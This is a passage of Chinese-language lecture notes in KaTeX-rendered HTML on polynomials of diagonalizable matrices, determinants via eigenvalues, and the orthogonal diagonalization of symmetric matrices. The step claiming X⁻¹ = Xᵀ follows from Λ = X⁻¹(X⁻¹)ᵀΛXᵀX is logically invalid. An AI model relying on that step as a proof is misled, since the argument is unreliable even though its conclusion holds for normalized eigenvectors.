class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi mathvariant="normal">Λ</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> p(\Lambda) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord">Λ</span><span class="mclose">)</span></span></span></span> 只需对角线元素取多项式值即可。</p><p>这将对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的多项式计算简化为对对角矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span> 的多项式，或者是对角元素的多项式计算。</p><hr /><p>此外，对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>det</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \det(p(A)) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">det</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">))</span></span></span></span> 如果已知矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>λ</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>λ</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> \lambda_1, \lambda_2, \ldots, \lambda_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>det</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>=</mo><mi>p</mi><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>⋅</mo><mi>p</mi><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>⋅</mo><mo>…</mo><mo>⋅</mo><mi>p</mi><mo stretchy="false">(</mo><msub><mi>λ</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\det(p(A)) = p(\lambda_1) \cdot p(\lambda_2) \cdot \ldots \cdot p(\lambda_n) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">det</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h1 id="对称矩阵-symmetric-matrix"><a class="markdownIt-Anchor" href="#对称矩阵-symmetric-matrix"></a> 对称矩阵 Symmetric Matrix</h1><p>当矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mi>S</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">  S = S^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 时，称其为对称矩阵。</p><p>回顾上面的对角化，可以得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> S = X \Lambda X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>。</p><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 是对称矩阵，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mi>S</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> S = S^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，因此 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mo stretchy="false">(</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><msup><mo stretchy="false">)</mo><mi>T</mi></msup><msup><mi mathvariant="normal">Λ</mi><mi>T</mi></msup><msup><mi>X</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> X \Lambda X^{-1} = (X \Lambda X^{-1})^T = (X^{-1})^T \Lambda^T X^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span> 是对角矩阵，因此 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="normal">Λ</mi><mi>T</mi></msup><mo>=</mo><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> \Lambda^T = \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span>。</p><p>因此有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> X \Lambda X^{-1} = (X^{-1})^T \Lambda X^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>。</p><p>两边同时左乘 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>，右乘 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex"> X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span>，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi><mo>=</mo><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">(</mo><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mi>T</mi></msup><mi>X</mi></mrow><annotation encoding="application/x-tex"> \Lambda = X^{-1} (X^{-1})^T \Lambda X^T X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span>。</p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex"> X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><msup><mi>X</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> X^{-1} = X^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex"> X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 是正交矩阵。</p><p>因此，对称矩阵可以被正交对角化，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> S = Q \Lambda Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 是正交矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span> 是对角矩阵。</p><p>对称矩阵的以下性质：</p><ol><li><p>特征值为实数。</p></li><li><p>不同特征值对应的特征向量正交。</p></li></ol><hr /><p>假设实矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex"> Sx = \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span>, <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi><mo>=</mo><mi>a</mi><mo>+</mo><mi>b</mi><mi>i</mi></mrow><annotation encoding="application/x-tex"> \lambda = a + bi </annotation></semantics></math></span><span class="katex-html" 